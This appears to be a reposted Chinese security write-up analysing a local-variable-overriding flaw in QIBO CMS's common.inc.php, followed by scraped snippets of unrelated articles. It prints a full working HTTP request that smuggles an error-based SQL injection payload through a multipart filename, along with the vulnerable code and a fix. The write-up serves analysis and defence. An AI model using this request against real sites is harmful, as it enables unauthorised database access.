QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入"本地变量覆盖"、"本地变量未初始化"的安全风险
齐博CMS中的漏洞文件/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞

Relevant Link:

http://bbs.qibosoft.com/read-forum-tid-422299.htm

2. 漏洞触发条件

0x1: 攻击入口

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

1. 首先访问/member下面的"评论管理"功能,抓包

2. 在http request中构造一个attachment,如下:
/*
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0
Referer: http://127.0.0.1/qibo/member/comment.php?job=work
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1;
passport=1%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%0922%091425969668%09http%3A%2F%2F127.0.0.1%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl
Content-Length: 227  

------WebKitFormBoundary6ukpBHoIrpHKtOkl
Content-Disposition: form-data; name="cidDB"; filename="1‘ and EXP(~(select * from(select user())a)) -- "
Content-Type: text/plain  

1111
------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/
注意将原来的URL上的cidDB[]=x删除掉;
然后构造一个文件上传的报文(GET改为POST方法)
在filename处填入注入的payload

3. 提交该数据包,即可注入成功
//这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖

Relevant Link:

http://bobao.360.cn/learning/detail/291.html

3. 漏洞影响范围

齐博所有系统、所有版本

4. 漏洞代码分析

\qibo\inc\common.inc.php

/*
全局变量文件对GPC变量的过滤
从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
*/
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array)
{
    foreach($array as $key=>$value)
    {
        if(!is_array($value))
        {
            $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }
        else
        {
            $array[$key]=Add_S($array[$key]);
        }
    }
    return $array;
}

if(!ini_get(‘register_globals‘))
{
    @extract($_FILES,EXTR_SKIP);
}

foreach($_COOKIE AS $_key=>$_value)
{
    unset($$_key);
}
foreach($_POST AS $_key=>$_value)
{
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value)
{
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

5. 防御方法

\qibo\inc\common.inc.php

if(!ini_get(‘register_globals‘))
{
    $array = array(‘Filedata‘,‘postfile‘,‘upfile‘,‘fileData‘,‘Filedata‘);
    foreach($array AS $key=>$value)
    {
        is_array($_FILES[$value]) && $$value = $_FILES[$value];
    }
}

6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-11 19:39:54

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul In $_FILES的相关文章

dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 1. dedecms原生提供一个"本地变量注册"的模拟实现,原则上允许黑客覆盖任意变量 2. dedecms在实现本地变量注册的时候,会对$_GET.$_POST.$_COOKIE等的value值进行addslash转移过滤处理 //$key值注入不在本文讨论范围内,详情参阅:http://www.cnblogs.com/LittleHann/p/

Implicitly Typed Local Variables

Implicitly Typed Local Variables It happens time and time again: I’ll be at a game jam, mentoring students, or just showing a friend some Unity C# code, and I’ll type something like this: var controller = GetComponent<CharacterController>(); They’ll

MyBatis java and MySql local variables

<insert id="create" parameterType="models.entities.CategoryEntity"> set @catId := (select categoryId from Categories limit 1); insert into Categories(CategoryId, Title, LeftValue, RightValue) values(@catId, 'Test in', 1,2); ....

ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入 Relevant Link: http://bbs.ecshop.com/thread-150545-1-1.html 2. 漏洞触发条件 1. /pick_out.php漏洞未修复 2. magic_quotes_gpc = Off 0x1: POC #!/usr/bin

Yet Another 10 Common Mistakes Java Developers Make When Writing SQL (You Won’t BELIEVE the Last One)--reference

(Sorry for that click-bait heading. Couldn't resist ;-) ) We're on a mission. To teach you SQL. But mostly, we want to teach you how to appreciate SQL. You'll love it! Getting SQL right or wrong shouldn't be about that You're-Doing-It-Wrong? attitude

[转]50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs

http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/ 50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs Go is a simple and fun language, but, like any other language, it has a few gotchas... Many of those gotc

about variables

局部变量(Local Variable),全局变量(global variable),变量共享; 静态局部变量(static local variables),函数运行结束变量值不会消失,并且其它函数无法访问的变量; 简单模拟登陆密码验证 使用静态局部变量可以让函数产生的数据更长期更安全地存储,如果一个函数运行和它以前的运行结果有关; 变量堆叠,变量的可见性(visibility) 当2张大小相同的纸张堆叠在一起就不可能发生堆叠了,此时在同一层次中声明2个名字相同的变量,那么变量间的作用域就不说

vim /usr/local/php/etc/php.ini

[[email protected] ~]# vim /usr/local/php/etc/php.ini 1 [PHP] 2 3 ;;;;;;;;;;;;;;;;;;; 4 ; About php.ini ; 5 ;;;;;;;;;;;;;;;;;;; 6 ; PHP's initialization file, generally called php.ini, is responsible for 7 ; configuring many of the aspects of PHP's b

九、搭建织梦cms网站

九.搭建织梦cms网站 1.介绍: 织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,在经历多年的发展,目前的版本无论在功能,还是在易用性方面,都有了长足的发展和进步,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不乏有企业用户和学校等在使用本系统. 优点: 1.易用:使用织梦你可以用十分钟学习它,十分钟搭建一个. 2.完善:织梦基本包含了一个常规网站需要的一